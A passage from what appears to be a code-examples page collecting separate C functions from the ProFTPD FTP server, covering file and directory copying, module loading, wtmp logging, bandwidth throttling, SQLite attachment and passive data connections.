    } else if (S_ISREG(st.st_mode)) {
      cmd_rec *cmd;

      /* Dispatch fake COPY command, e.g. for mod_quotatab */
      cmd = pr_cmd_alloc(iter_pool, 4, pstrdup(iter_pool, "SITE"),
        pstrdup(iter_pool, "COPY"), pstrdup(iter_pool, src_path),
        pstrdup(iter_pool, dst_path));
      cmd->arg = pstrcat(iter_pool, "COPY ", src_path, " ", dst_path, NULL);
      cmd->cmd_class = CL_WRITE;

      pr_response_clear(&resp_list);
      pr_response_clear(&resp_err_list);

      if (pr_cmd_dispatch_phase(cmd, PRE_CMD, 0) < 0) {
        int xerrno = errno;

        pr_log_debug(DEBUG3, MOD_COPY_VERSION
          ": COPY of '%s' to '%s' blocked by COPY handler: %s", src_path,
          dst_path, strerror(xerrno));

        pr_cmd_dispatch_phase(cmd, POST_CMD_ERR, 0);
        pr_cmd_dispatch_phase(cmd, LOG_CMD_ERR, 0);
        pr_response_clear(&resp_err_list);

        errno = xerrno;
        res = -1;
        break;

      } else {
        if (pr_fs_copy_file(src_path, dst_path) < 0) {
          pr_cmd_dispatch_phase(cmd, POST_CMD_ERR, 0);
          pr_cmd_dispatch_phase(cmd, LOG_CMD_ERR, 0);
          pr_response_clear(&resp_err_list);

          res = -1;
          break;

        } else {
          char *abs_path;
          
          pr_cmd_dispatch_phase(cmd, POST_CMD, 0);
          pr_cmd_dispatch_phase(cmd, LOG_CMD, 0);
          pr_response_clear(&resp_list);

          /* Write a TransferLog entry as well. */

          pr_fs_clear_cache2(dst_path);
          pr_fsio_stat(dst_path, &st);

          abs_path = dir_abs_path(p, dst_path, TRUE);

          if (session.sf_flags & SF_ANON) {
            xferlog_write(0, session.c->remote_name, st.st_size, abs_path,
               (session.sf_flags & SF_ASCII ? 'a' : 'b'), 'd', 'a',
               session.anon_user, 'c', "_");

          } else {
            xferlog_write(0, session.c->remote_name, st.st_size, abs_path,
              (session.sf_flags & SF_ASCII ? 'a' : 'b'), 'd', 'r',
              session.user, 'c', "_");
          }
        }
      }

      continue;

    /* Is this path a symlink? */
    } else if (S_ISLNK(st.st_mode)) {
      if (copy_symlink(iter_pool, src_path, dst_path) < 0) {
        res = -1;
        break;
      }
      continue;

    /* All other file types are skipped */
    } else {
      pr_log_debug(DEBUG3, MOD_COPY_VERSION ": skipping supported file '%s'",
        src_path);
      continue;
    }
  }

  if (iter_pool != NULL) {
    destroy_pool(iter_pool);
  }

  closedir(dh);
  return res;
}
Exemple #10
0
static int dso_load_module(char *name) {
  int res;
  char *symbol_name, *path, *tmp;
  module *m;
  lt_ptr mh = NULL;
  lt_dladvise advise;

  if (name == NULL) {
    errno = EINVAL;
    return -1;
  }

  if (strncmp(name, "mod_", 4) != 0 ||
      name[strlen(name)-2] != '.' ||
      name[strlen(name)-1] != 'c') {
    errno = EINVAL;
    return -1;
  }

  pr_log_debug(DEBUG7, "loading '%s'", name);

  tmp = strrchr(name, '.');
  if (tmp == NULL) {
    errno = EINVAL;
    return -1;
  }

  if (lt_dladvise_init(&advise) < 0) {
    pr_log_pri(PR_LOG_NOTICE, MOD_DSO_VERSION
      ": unable to initialise advise: %s", lt_dlerror());
    errno = EPERM;
    return -1;
  }

  if (lt_dladvise_ext(&advise) < 0) {
    pr_log_pri(PR_LOG_NOTICE, MOD_DSO_VERSION
      ": unable to setting 'ext' advise hint: %s", lt_dlerror());
    lt_dladvise_destroy(&advise);
    errno = EPERM;
    return -1;
  }

  if (lt_dladvise_global(&advise) < 0) {
    pr_log_pri(PR_LOG_NOTICE, MOD_DSO_VERSION
      ": unable to setting 'global' advise hint: %s", lt_dlerror());
    lt_dladvise_destroy(&advise);
    errno = EPERM;
    return -1;
  }

  *tmp = '\0';

  /* Load file: $prefix/libexec/<module> */
  path = pdircat(dso_pool, dso_module_path, name, NULL);

  pr_trace_msg(trace_channel, 5, "loading module '%s'", path);

  mh = lt_dlopenadvise(path, advise);
  if (mh == NULL) {
    *tmp = '.';

    pr_log_debug(DEBUG3, MOD_DSO_VERSION ": unable to dlopen '%s': %s (%s)",
      name, lt_dlerror(), strerror(errno));
    pr_log_debug(DEBUG3, MOD_DSO_VERSION
      ": defaulting to 'self' for symbol resolution");

    lt_dladvise_destroy(&advise);

    mh = lt_dlopen(NULL);
    if (mh == NULL) {
      pr_log_debug(DEBUG0, MOD_DSO_VERSION ": error loading 'self': %s",
        lt_dlerror());

      if (errno == ENOENT) {
        pr_log_pri(PR_LOG_NOTICE, MOD_DSO_VERSION
          ": check to see if '%s.la' exists", path);
      }

      return -1;
    }
  }

  lt_dladvise_destroy(&advise);

  /* Tease name of the module structure out of the given name:
   *  <module>.<ext> --> <module>_module
   */

  *tmp = '\0';
  symbol_name = pstrcat(dso_pool, name+4, "_module", NULL);

  /* Lookup module structure symbol by name. */

  pr_trace_msg(trace_channel, 7, "looking for symbol '%s' in loaded module",
    symbol_name);

  m = (module *) lt_dlsym(mh, symbol_name);
  if (m == NULL) {
    *tmp = '.';
    pr_log_debug(DEBUG1, MOD_DSO_VERSION
      ": unable to find module symbol '%s' in '%s'", symbol_name,
        mh ? name : "self");
    pr_trace_msg(trace_channel, 1, "unable to find module symbol '%s' in '%s'",
      symbol_name, mh ? name : "self");

    lt_dlclose(mh);
    mh = NULL;

    if (errno == ENOENT) {
      pr_log_pri(PR_LOG_NOTICE,
        MOD_DSO_VERSION ": check to see if '%s.la' exists", path);
    }

    return -1;
  }
  *tmp = '.';

  m->handle = mh;

  /* Add the module to the core structures */
  res = pr_module_load(m);
  if (res < 0) {
    if (errno == EEXIST) {
      pr_log_pri(PR_LOG_INFO, MOD_DSO_VERSION
        ": module 'mod_%s.c' already loaded", m->name);
      pr_trace_msg(trace_channel, 1, "module 'mod_%s.c' already loaded",
        m->name);

    } else if (errno == EACCES) {
      pr_log_pri(PR_LOG_ERR, MOD_DSO_VERSION
        ": module 'mod_%s.c' has wrong API version (0x%x), must be 0x%x",
        m->name, m->api_version, PR_MODULE_API_VERSION);
      pr_trace_msg(trace_channel, 1,
        "module 'mod_%s.c' has wrong API version (0x%x), must be 0x%x",
        m->name, m->api_version, PR_MODULE_API_VERSION);

    } else if (errno == EPERM) {
      pr_log_pri(PR_LOG_ERR, MOD_DSO_VERSION
        ": module 'mod_%s.c' failed to initialize", m->name);
      pr_trace_msg(trace_channel, 1, "module 'mod_%s.c' failed to initialize",
        m->name);
    }

    lt_dlclose(mh);
    mh = NULL;
    return -1;
  }

  pr_trace_msg(trace_channel, 8, "module '%s' successfully loaded", path);
  return 0;
}
Exemple #11
0
int log_wtmp(const char *line, const char *name, const char *host,
    pr_netaddr_t *ip) {
  struct stat buf;
  int res = 0;

#if ((defined(SVR4) || defined(__SVR4)) || \
    (defined(__NetBSD__) && defined(HAVE_UTMPX_H)) || \
    (defined(__FreeBSD_version) && __FreeBSD_version >= 900007 && defined(HAVE_UTMPX_H))) && \
    !(defined(LINUX) || defined(__hpux) || defined (_AIX))
  /* This "auxilliary" utmp doesn't exist under linux. */

#if defined(__sparcv9) && !defined(__NetBSD__) && !defined(__FreeBSD__)
  struct futmpx utx;
  time_t t;

#else
  struct utmpx utx;
#endif

  static int fdx = -1;

#if !defined(WTMPX_FILE)
# if defined(_PATH_WTMPX)
#   define WTMPX_FILE _PATH_WTMPX
# elif defined(_PATH_UTMPX)
#   define WTMPX_FILE _PATH_UTMPX
# else
/* This path works for FreeBSD; not sure what to do for other platforms which
 * don't define _PATH_WTMPX or _PATH_UTMPX.
 */
#   define WTMPX_FILE "/var/log/utx.log"
# endif
#endif

  if (fdx < 0 &&
      (fdx = open(WTMPX_FILE, O_WRONLY|O_APPEND, 0)) < 0) {
    int xerrno = errno;

    pr_log_pri(PR_LOG_WARNING, "failed to open wtmpx %s: %s", WTMPX_FILE,
      strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  (void) pr_fs_get_usable_fd2(&fdx);

  /* Unfortunately, utmp string fields are terminated by '\0' if they are
   * shorter than the size of the field, but if they are exactly the size of
   * the field they don't have to be terminated at all.  Frankly, this sucks.
   * Insane if you ask me.  Unless there's massive uproar, I prefer to err on
   * the side of caution and always null-terminate our strings.
   */
  if (fstat(fdx, &buf) == 0) {
    memset(&utx, 0, sizeof(utx));

    sstrncpy(utx.ut_user, name, sizeof(utx.ut_user));
    sstrncpy(utx.ut_id, pr_session_get_protocol(PR_SESS_PROTO_FL_LOGOUT),
      sizeof(utx.ut_user));
    sstrncpy(utx.ut_line, line, sizeof(utx.ut_line));
    sstrncpy(utx.ut_host, host, sizeof(utx.ut_host));
    utx.ut_pid = session.pid ? session.pid : getpid();

#if defined(__NetBSD__) && defined(HAVE_UTMPX_H)
    memcpy(&utx.ut_ss, pr_netaddr_get_inaddr(ip), sizeof(utx.ut_ss));
    gettimeofday(&utx.ut_tv, NULL);

#elif defined(__FreeBSD_version) && __FreeBSD_version >= 900007 && defined(HAVE_UTMPX_H)
    gettimeofday(&utx.ut_tv, NULL);

#else /* SVR4 */
    utx.ut_syslen = strlen(utx.ut_host)+1;

#  if defined(__sparcv9) && !defined(__FreeBSD__)
    time(&t);
    utx.ut_tv.tv_sec = (time32_t)t;
#  else
    time(&utx.ut_tv.tv_sec);
#  endif

#endif /* SVR4 */

    if (*name)
      utx.ut_type = USER_PROCESS;
    else
      utx.ut_type = DEAD_PROCESS;

#ifdef HAVE_UT_UT_EXIT
    utx.ut_exit.e_termination = 0;
    utx.ut_exit.e_exit = 0;
#endif /* HAVE_UT_UT_EXIT */

    if (write(fdx, (char *) &utx, sizeof(utx)) != sizeof(utx)) {
      (void) ftruncate(fdx, buf.st_size);
    }

  } else {
    pr_log_debug(DEBUG0, "%s fstat(): %s", WTMPX_FILE, strerror(errno));
    res = -1;
  }

#else /* Non-SVR4 systems */
  struct utmp ut;
  static int fd = -1;

  if (fd < 0 &&
      (fd = open(WTMP_FILE, O_WRONLY|O_APPEND, 0)) < 0) {
    int xerrno = errno;

    pr_log_pri(PR_LOG_WARNING, "failed to open wtmp %s: %s", WTMP_FILE,
      strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  (void) pr_fs_get_usable_fd2(&fd);

  if (fstat(fd, &buf) == 0) {
    memset(&ut, 0, sizeof(ut));

#ifdef HAVE_UTMAXTYPE

# ifdef LINUX
    if (ip)
#  ifndef PR_USE_IPV6
      memcpy(&ut.ut_addr, pr_netaddr_get_inaddr(ip), sizeof(ut.ut_addr));
#  else
      memcpy(&ut.ut_addr_v6, pr_netaddr_get_inaddr(ip), sizeof(ut.ut_addr_v6));
#  endif /* !PR_USE_IPV6 */

# else
    sstrncpy(ut.ut_id, pr_session_get_protocol(PR_SESS_PROTO_FL_LOGOUT),
      sizeof(ut.ut_id));

#  ifdef HAVE_UT_UT_EXIT
    ut.ut_exit.e_termination = 0;
    ut.ut_exit.e_exit = 0;
#  endif /* !HAVE_UT_UT_EXIT */

# endif /* !LINUX */
    sstrncpy(ut.ut_line, line, sizeof(ut.ut_line));

    if (name && *name)
      sstrncpy(ut.ut_user, name, sizeof(ut.ut_user));

    ut.ut_pid = session.pid ? session.pid : getpid();

    if (name && *name)
      ut.ut_type = USER_PROCESS;
    else
      ut.ut_type = DEAD_PROCESS;

#else  /* !HAVE_UTMAXTYPE */
    sstrncpy(ut.ut_line, line, sizeof(ut.ut_line));

    if (name && *name) {
      sstrncpy(ut.ut_name, name, sizeof(ut.ut_name));
    }
#endif /* HAVE_UTMAXTYPE */

#ifdef HAVE_UT_UT_HOST
    if (host && *host) {
      sstrncpy(ut.ut_host, host, sizeof(ut.ut_host));
    }
#endif /* HAVE_UT_UT_HOST */

    ut.ut_time = time(NULL);

    if (write(fd, (char *) &ut, sizeof(ut)) != sizeof(ut)) {
      if (ftruncate(fd, buf.st_size) < 0) {
        pr_log_debug(DEBUG0, "error truncating '%s': %s", WTMP_FILE,
          strerror(errno));
      }
    }

  } else {
    pr_log_debug(DEBUG0, "%s fstat(): %s", WTMP_FILE, strerror(errno));
    res = -1;
  }
#endif /* SVR4 */

  return res;
}
Exemple #12
0
/* usage: ModuleOrder mod1 mod2 ... modN */
MODRET set_moduleorder(cmd_rec *cmd) {
  register unsigned int i;
  module *m, *mn, *module_list = NULL;

  if (cmd->argc-1 < 1)
    CONF_ERROR(cmd, "wrong number of parameters");

  CHECK_CONF(cmd, CONF_ROOT);

  /* What about duplicate names in the list?
   *
   * What if the given list is longer than the one already in loaded_modules?
   * This will be caught by the existence check.  Otherwise, the only way for
   * the list to be longer is if there are duplicates, which will be caught
   * by the duplicate check.
   */

  /* Make sure the given module names exist. */
  for (i = 1; i < cmd->argc; i++) {
    if (pr_module_get(cmd->argv[i]) == NULL)
      CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "no such module '", cmd->argv[i],
      "' loaded", NULL));
  }

  /* Make sure there are no duplicate module names in the list. */
  for (i = 1; i < cmd->argc; i++) {
    register unsigned int j;

    for (j = i + 1; j < cmd->argc; j++) {
      if (strcmp(cmd->argv[i], cmd->argv[j]) == 0) {
        char ibuf[4], jbuf[4];

        snprintf(ibuf, sizeof(ibuf), "%u", i);
        ibuf[sizeof(ibuf)-1] = '\0';

        snprintf(jbuf, sizeof(jbuf), "%u", j);
        jbuf[sizeof(jbuf)-1] = '\0';

        CONF_ERROR(cmd, pstrcat(cmd->tmp_pool,
          "duplicate module name '", cmd->argv[i], "' as parameters ",
          ibuf, " and ", jbuf, NULL));
      }
    }
  }

  pr_log_debug(DEBUG4, "%s: reordering modules", cmd->argv[0]);
  for (i = 1; i < cmd->argc; i++) {
    m = pr_module_get(cmd->argv[i]);

    if (module_list) {
      m->next = module_list;
      module_list->prev = m;
      module_list = m;

    } else
      module_list = m;
  }

  /* Now, unload all the modules in the loaded_modules list, then load
   * the modules in our module_list.
   */
  for (m = loaded_modules; m;) {
    mn = m->next;

    if (pr_module_unload(m) < 0) {
      pr_log_debug(DEBUG0, "%s: error unloading module 'mod_%s.c': %s",
        cmd->argv[0], m->name, strerror(errno));
    }

    m = mn;
  }

  for (m = module_list; m; m = m->next) {
    if (pr_module_load(m) < 0) {
      pr_log_debug(DEBUG0, "%s: error loading module 'mod_%s.c': %s",
        cmd->argv[0], m->name, strerror(errno));
      exit(1);
    }
  }

  pr_log_pri(PR_LOG_NOTICE, "module order is now:");
  for (m = loaded_modules; m; m = m->next) {
    pr_log_pri(PR_LOG_NOTICE, " mod_%s.c", m->name);
  }

  return PR_HANDLED(cmd);
}
Exemple #13
0
void pr_throttle_init(cmd_rec *cmd) {
  config_rec *c = NULL;
  char *xfer_cmd = NULL;
  unsigned char have_user_rate = FALSE, have_group_rate = FALSE,
    have_class_rate = FALSE;
  unsigned int precedence = 0;

  /* Make sure the variables are (re)initialized */
  xfer_rate_kbps = xfer_rate_bps = 0.0;
  xfer_rate_freebytes = 0;
  xfer_rate_scoreboard_updates = 0;
  have_xfer_rate = FALSE;

  c = find_config(CURRENT_CONF, CONF_PARAM, "TransferRate", FALSE);

  /* Note: need to cycle through all the matching config_recs, and using
   * the information from the current config_rec only if it matches
   * the target *and* has a higher precedence than any of the previously
   * found config_recs.
   */
  while (c) {
    char **cmdlist = (char **) c->argv[0];
    int matched_cmd = FALSE;

    pr_signals_handle();

    /* Does this TransferRate apply to the current command?  Note: this
     * could be made more efficient by using bitmasks rather than string
     * comparisons.
     */
    for (xfer_cmd = *cmdlist; xfer_cmd; xfer_cmd = *(cmdlist++)) {
      if (strcasecmp(xfer_cmd, cmd->argv[0]) == 0) {
        matched_cmd = TRUE;
        break;
      }
    }

    /* No -- continue on to the next TransferRate. */
    if (!matched_cmd) {
      c = find_config_next(c, c->next, CONF_PARAM, "TransferRate", FALSE);
      continue;
    }

    if (c->argc > 4) {
      if (strncmp(c->argv[4], "user", 5) == 0) {

        if (pr_expr_eval_user_or((char **) &c->argv[5]) == TRUE &&
            *((unsigned int *) c->argv[3]) > precedence) {

          /* Set the precedence. */
          precedence = *((unsigned int *) c->argv[3]);

          xfer_rate_kbps = *((long double *) c->argv[1]);
          xfer_rate_freebytes = *((off_t *) c->argv[2]);
          have_xfer_rate = TRUE;
          have_user_rate = TRUE;
          have_group_rate = have_class_rate = FALSE;
        }

      } else if (strncmp(c->argv[4], "group", 6) == 0) {

        if (pr_expr_eval_group_and((char **) &c->argv[5]) == TRUE &&
            *((unsigned int *) c->argv[3]) > precedence) {

          /* Set the precedence. */
          precedence = *((unsigned int *) c->argv[3]);

          xfer_rate_kbps = *((long double *) c->argv[1]);
          xfer_rate_freebytes = *((off_t *) c->argv[2]);
          have_xfer_rate = TRUE;
          have_group_rate = TRUE;
          have_user_rate = have_class_rate = FALSE;
        }

      } else if (strncmp(c->argv[4], "class", 6) == 0) {

        if (pr_expr_eval_class_or((char **) &c->argv[5]) == TRUE &&
          *((unsigned int *) c->argv[3]) > precedence) {

          /* Set the precedence. */
          precedence = *((unsigned int *) c->argv[3]);

          xfer_rate_kbps = *((long double *) c->argv[1]);
          xfer_rate_freebytes = *((off_t *) c->argv[2]);
          have_xfer_rate = TRUE;
          have_class_rate = TRUE;
          have_user_rate = have_group_rate = FALSE;
        }
      }

    } else {

      if (*((unsigned int *) c->argv[3]) > precedence) {

        /* Set the precedence. */
        precedence = *((unsigned int *) c->argv[3]);

        xfer_rate_kbps = *((long double *) c->argv[1]);
        xfer_rate_freebytes = *((off_t *) c->argv[2]);
        have_xfer_rate = TRUE;
        have_user_rate = have_group_rate = have_class_rate = FALSE;
      }
    }

    c = find_config_next(c, c->next, CONF_PARAM, "TransferRate", FALSE);
  }

  /* Print out a helpful debugging message. */
  if (have_xfer_rate) {
    pr_log_debug(DEBUG3, "TransferRate (%.3Lf KB/s, %" PR_LU
        " bytes free) in effect%s", xfer_rate_kbps,
      (pr_off_t) xfer_rate_freebytes,
      have_user_rate ? " for current user" :
      have_group_rate ? " for current group" :
      have_class_rate ? " for current class" : "");

    /* Convert the configured Kbps to bytes per usec, for use later.
     * The 1024.0 factor converts for Kbytes to bytes, and the
     * 1000000.0 factor converts from secs to usecs.
     */
    xfer_rate_bps = xfer_rate_kbps * 1024.0;
  }
}
Exemple #14
0
void pr_throttle_pause(off_t xferlen, int xfer_ending) {
  long ideal = 0, elapsed = 0;
  off_t orig_xferlen = xferlen;

  if (XFER_ABORTED) {
    return;
  }

  /* Calculate the time interval since the transfer of data started. */
  elapsed = xfer_rate_since(&session.xfer.start_time);

  /* Perform no throttling if no throttling has been configured. */
  if (!have_xfer_rate) {
    xfer_rate_scoreboard_updates++;

    if (xfer_ending ||
        xfer_rate_scoreboard_updates % PR_TUNABLE_XFER_SCOREBOARD_UPDATES == 0) {
      /* Update the scoreboard. */
      pr_scoreboard_entry_update(session.pid,
        PR_SCORE_XFER_LEN, orig_xferlen,
        PR_SCORE_XFER_ELAPSED, (unsigned long) elapsed,
        NULL);

      xfer_rate_scoreboard_updates = 0;
    }

    return;
  }

  /* Give credit for any configured freebytes. */
  if (xferlen > 0 &&
      xfer_rate_freebytes > 0) {

    if (xferlen > xfer_rate_freebytes) {
      /* Decrement the number of bytes transferred by the freebytes, so that
       * any throttling does not take into account the freebytes.
       */
      xferlen -= xfer_rate_freebytes;

    } else {
      xfer_rate_scoreboard_updates++;

      /* The number of bytes transferred is less than the freebytes.  Just
       * update the scoreboard -- no throttling needed.
       */

      if (xfer_ending ||
          xfer_rate_scoreboard_updates % PR_TUNABLE_XFER_SCOREBOARD_UPDATES == 0) {
        pr_scoreboard_entry_update(session.pid,
          PR_SCORE_XFER_LEN, orig_xferlen,
          PR_SCORE_XFER_ELAPSED, (unsigned long) elapsed,
          NULL);

        xfer_rate_scoreboard_updates = 0;
      }

      return;
    }
  }

  ideal = xferlen * 1000L / xfer_rate_bps;

  if (ideal > elapsed) {
    struct timeval tv;

    /* Setup for the select.  We use select() instead of usleep() because it
     * seems to be far more portable across platforms.
     *
     * ideal and elapsed are in milleconds, but tv_usec will be microseconds,
     * so be sure to convert properly.
     */
    tv.tv_usec = (ideal - elapsed) * 1000;
    tv.tv_sec = tv.tv_usec / 1000000L;
    tv.tv_usec = tv.tv_usec % 1000000L;

    pr_log_debug(DEBUG7, "transferring too fast, delaying %ld sec%s, %ld usecs",
      (long int) tv.tv_sec, tv.tv_sec == 1 ? "" : "s", (long int) tv.tv_usec);

    /* No interruptions, please... */
    xfer_rate_sigmask(TRUE);

    if (select(0, NULL, NULL, NULL, &tv) < 0) {
      int xerrno = errno;

      if (XFER_ABORTED) {
        pr_log_pri(PR_LOG_NOTICE, "throttling interrupted, transfer aborted");
        xfer_rate_sigmask(FALSE);
        return;
      }

      /* At this point, we've probably been interrupted by one of the few
       * signals not masked off, e.g. SIGTERM.
       */
      pr_log_debug(DEBUG0, "unable to throttle bandwidth: %s",
        strerror(xerrno));
    }

    xfer_rate_sigmask(FALSE);
    pr_signals_handle();

    /* Update the scoreboard. */
    pr_scoreboard_entry_update(session.pid,
      PR_SCORE_XFER_LEN, orig_xferlen,
      PR_SCORE_XFER_ELAPSED, (unsigned long) ideal,
      NULL);

  } else {

    /* Update the scoreboard. */
    pr_scoreboard_entry_update(session.pid,
      PR_SCORE_XFER_LEN, orig_xferlen,
      PR_SCORE_XFER_ELAPSED, (unsigned long) elapsed,
      NULL);
  }

  return;
}
Exemple #15
0
int proxy_db_open(pool *p, const char *table_path, const char *schema_name) {
  int res;
  pool *tmp_pool;
  const char *stmt;

  if (p == NULL ||
      table_path == NULL) {
    errno = EINVAL;
    return -1;
  }

  /* If we already have a database handle open, then attach the given
   * path to our handle.  Otherwise, open/create the database file first.
   */

  if (proxy_dbh == NULL) {
    res = sqlite3_open(table_path, &proxy_dbh);
    if (res != SQLITE_OK) {
      pr_log_debug(DEBUG0, MOD_PROXY_VERSION
        ": error opening SQLite database '%s': %s", table_path,
        sqlite3_errmsg(proxy_dbh));
      errno = EPERM;
      return -1;
    }

    /* Tell SQLite to only use in-memory journals.  This is necessary for
     * working properly when a chroot is used.  Note that the MEMORY journal
     * mode of SQLite is supported only for SQLite-3.6.5 and later.
     */
    res = sqlite3_exec(proxy_dbh, "PRAGMA journal_mode = MEMORY;", NULL, NULL,
      NULL);
    if (res != SQLITE_OK) {
      pr_trace_msg(trace_channel, 2,
        "error setting MEMORY journal mode on SQLite database '%s': %s",
        table_path, sqlite3_errmsg(proxy_dbh));
    }

    if (pr_trace_get_level(trace_channel) >= PROXY_DB_SQLITE_TRACE_LEVEL) {
      sqlite3_trace(proxy_dbh, db_trace, NULL);
    }

    prepared_stmts = pr_table_nalloc(db_pool, 0, 4);
  }

  tmp_pool = make_sub_pool(p);

  stmt = pstrcat(tmp_pool, "ATTACH DATABASE '", table_path, "' AS ",
    schema_name, ";", NULL);
  res = sqlite3_exec(proxy_dbh, stmt, NULL, NULL, NULL);
  if (res != SQLITE_OK) {
    pr_trace_msg(trace_channel, 2,
      "error attaching database '%s' (as '%s') to existing SQLite handle "
      "using '%s': %s", table_path, schema_name, stmt,
      sqlite3_errmsg(proxy_dbh));
    destroy_pool(tmp_pool);
    errno = EPERM;
    return -1;
  }

  destroy_pool(tmp_pool);
  return 0;
}
Exemple #16
0
static int copy_paths(pool *p, const char *from, const char *to) {
  struct stat st;
  int res;
  xaset_t *set;

  set = get_dir_ctxt(p, (char *) to);
  res = pr_filter_allow_path(set, to);
  switch (res) {
    case 0:
      break;

    case PR_FILTER_ERR_FAILS_ALLOW_FILTER:
      pr_log_debug(DEBUG7, MOD_COPY_VERSION
        ": path '%s' denied by PathAllowFilter", to);
      errno = EPERM;
      return -1;

    case PR_FILTER_ERR_FAILS_DENY_FILTER:
      pr_log_debug(DEBUG7, MOD_COPY_VERSION
        ": path '%s' denied by PathDenyFilter", to);
      errno = EPERM;
      return -1;
  }

  /* Check whether from is a file, a directory, a symlink, or something
   * unsupported.
   */
  res = pr_fsio_lstat(from, &st);
  if (res < 0) {
    int xerrno = errno;

    pr_log_debug(DEBUG7, MOD_COPY_VERSION ": error checking '%s': %s", from,
      strerror(xerrno));

    errno = xerrno;
    return -1;
  }
   
  if (S_ISREG(st.st_mode)) { 
    char *abs_path;

    pr_fs_clear_cache2(to);
    res = pr_fsio_stat(to, &st);
    if (res == 0) {
      unsigned char *allow_overwrite;

      allow_overwrite = get_param_ptr(CURRENT_CONF, "AllowOverwrite", FALSE);
      if (allow_overwrite == NULL ||
          *allow_overwrite == FALSE) {
        pr_log_debug(DEBUG6,
          MOD_COPY_VERSION ": AllowOverwrite permission denied for '%s'", to);
        errno = EACCES;
        return -1;
      }
    }

    res = pr_fs_copy_file(from, to);
    if (res < 0) {
      int xerrno = errno;

      pr_log_debug(DEBUG7, MOD_COPY_VERSION
        ": error copying file '%s' to '%s': %s", from, to, strerror(xerrno));

      errno = xerrno;
      return -1;
    }

    pr_fs_clear_cache2(to);
    if (pr_fsio_stat(to, &st) < 0) {
      pr_trace_msg(trace_channel, 3,
        "error stat'ing '%s': %s", to, strerror(errno));
    }

    /* Write a TransferLog entry as well. */
    abs_path = dir_abs_path(p, to, TRUE);

    if (session.sf_flags & SF_ANON) {
      xferlog_write(0, session.c->remote_name, st.st_size, abs_path,
        (session.sf_flags & SF_ASCII ? 'a' : 'b'), 'd', 'a',
        session.anon_user, 'c', "_");

    } else {
      xferlog_write(0, session.c->remote_name, st.st_size, abs_path,
        (session.sf_flags & SF_ASCII ? 'a' : 'b'), 'd', 'r',
        session.user, 'c', "_");
    }

  } else if (S_ISDIR(st.st_mode)) {
    res = create_path(p, to);
    if (res < 0) {
      int xerrno = errno;

      pr_log_debug(DEBUG7, MOD_COPY_VERSION
        ": error creating path '%s': %s", to, strerror(xerrno));

      errno = xerrno;
      return -1;
    }

    res = copy_dir(p, from, to);
    if (res < 0) {
      int xerrno = errno;

      pr_log_debug(DEBUG7, MOD_COPY_VERSION
        ": error copying directory '%s' to '%s': %s", from, to,
        strerror(xerrno));

      errno = xerrno;
      return -1;
    }

  } else if (S_ISLNK(st.st_mode)) {
    pr_fs_clear_cache2(to);
    res = pr_fsio_stat(to, &st);
    if (res == 0) {
      unsigned char *allow_overwrite;

      allow_overwrite = get_param_ptr(CURRENT_CONF, "AllowOverwrite", FALSE);
      if (allow_overwrite == NULL ||
          *allow_overwrite == FALSE) {
        pr_log_debug(DEBUG6, MOD_COPY_VERSION
          ": AllowOverwrite permission denied for '%s'", to);
        errno = EACCES;
        return -1;
      }
    }

    res = copy_symlink(p, from, to);
    if (res < 0) {
      int xerrno = errno;

      pr_log_debug(DEBUG7, MOD_COPY_VERSION
        ": error copying symlink '%s' to '%s': %s", from, to, strerror(xerrno));

      errno = xerrno;
      return -1;
    }

  } else {
    pr_log_debug(DEBUG7, MOD_COPY_VERSION
      ": unsupported file type for '%s'", from);
    errno = EINVAL;
    return -1;
  }

  return 0;
}
Exemple #17
0
static int data_pasv_open(char *reason, off_t size) {
  conn_t *c;
  int rev;

  if (!reason && session.xfer.filename)
    reason = session.xfer.filename;

  /* Set the "stalled" timer, if any, to prevent the connection
   * open from taking too long
   */
  if (timeout_stalled) {
    pr_timer_add(timeout_stalled, PR_TIMER_STALLED, NULL, stalled_timeout_cb,
      "TimeoutStalled");
  }

  /* We save the state of our current disposition for doing reverse
   * lookups, and then set it to what the configuration wants it to
   * be.
   */
  rev = pr_netaddr_set_reverse_dns(ServerUseReverseDNS);

  /* Protocol and socket options should be set before handshaking. */

  if (session.xfer.direction == PR_NETIO_IO_RD) {
    pr_inet_set_socket_opts(session.d->pool, session.d,
      (main_server->tcp_rcvbuf_override ? main_server->tcp_rcvbuf_len : 0), 0);

  } else {
    pr_inet_set_socket_opts(session.d->pool, session.d,
      0, (main_server->tcp_sndbuf_override ? main_server->tcp_sndbuf_len : 0));
  }

  c = pr_inet_accept(session.pool, session.d, session.c, -1, -1, TRUE);
  pr_netaddr_set_reverse_dns(rev);

  if (c && c->mode != CM_ERROR) {
    pr_inet_close(session.pool, session.d);
    pr_inet_set_nonblock(session.pool, c);
    session.d = c;

    pr_log_debug(DEBUG4, "passive data connection opened - local  : %s:%d",
      pr_netaddr_get_ipstr(session.d->local_addr), session.d->local_port);
    pr_log_debug(DEBUG4, "passive data connection opened - remote : %s:%d",
      pr_netaddr_get_ipstr(session.d->remote_addr), session.d->remote_port);

    if (session.xfer.xfer_type != STOR_UNIQUE) {
      if (size) {
        pr_response_send(R_150, _("Opening %s mode data connection for %s "
          "(%" PR_LU " bytes)"), MODE_STRING, reason, (pr_off_t) size);

      } else {
        pr_response_send(R_150, _("Opening %s mode data connection for %s"),
          MODE_STRING, reason);
      }

    } else {

      /* Format of 150 responses for STOU is explicitly dictated by
       * RFC 1123:
       *
       *  4.1.2.9  STOU Command: RFC-959 Section 4.1.3
       *
       *    The STOU command stores into a uniquely named file.  When it
       *    receives an STOU command, a Server-FTP MUST return the
       *    actual file name in the "125 Transfer Starting" or the "150
       *    Opening Data Connection" message that precedes the transfer
       *    (the 250 reply code mentioned in RFC-959 is incorrect).  The
       *    exact format of these messages is hereby defined to be as
       *    follows:
       *
       *        125 FILE: pppp
       *        150 FILE: pppp
       *
       *    where pppp represents the unique pathname of the file that
       *    will be written.
       */
      pr_response_send(R_150, "FILE: %s", reason);
    }

    return 0;
  }

  /* Check for error conditions. */
  if (c && c->mode == CM_ERROR)
    pr_log_pri(PR_LOG_ERR, "Error: unable to accept an incoming data "
      "connection (%s)", strerror(c->xerrno));

  pr_response_add_err(R_425, _("Unable to build data connection: %s"),
    strerror(session.d->xerrno));
  destroy_pool(session.d->pool);
  session.d = NULL;
  return -1;
}
Exemple #18
0
MODRET copy_copy(cmd_rec *cmd) {
  if (copy_engine == FALSE) {
    return PR_DECLINED(cmd);
  }

  if (cmd->argc < 2) {
    return PR_DECLINED(cmd);
  }

  if (strncasecmp(cmd->argv[1], "COPY", 5) == 0) {
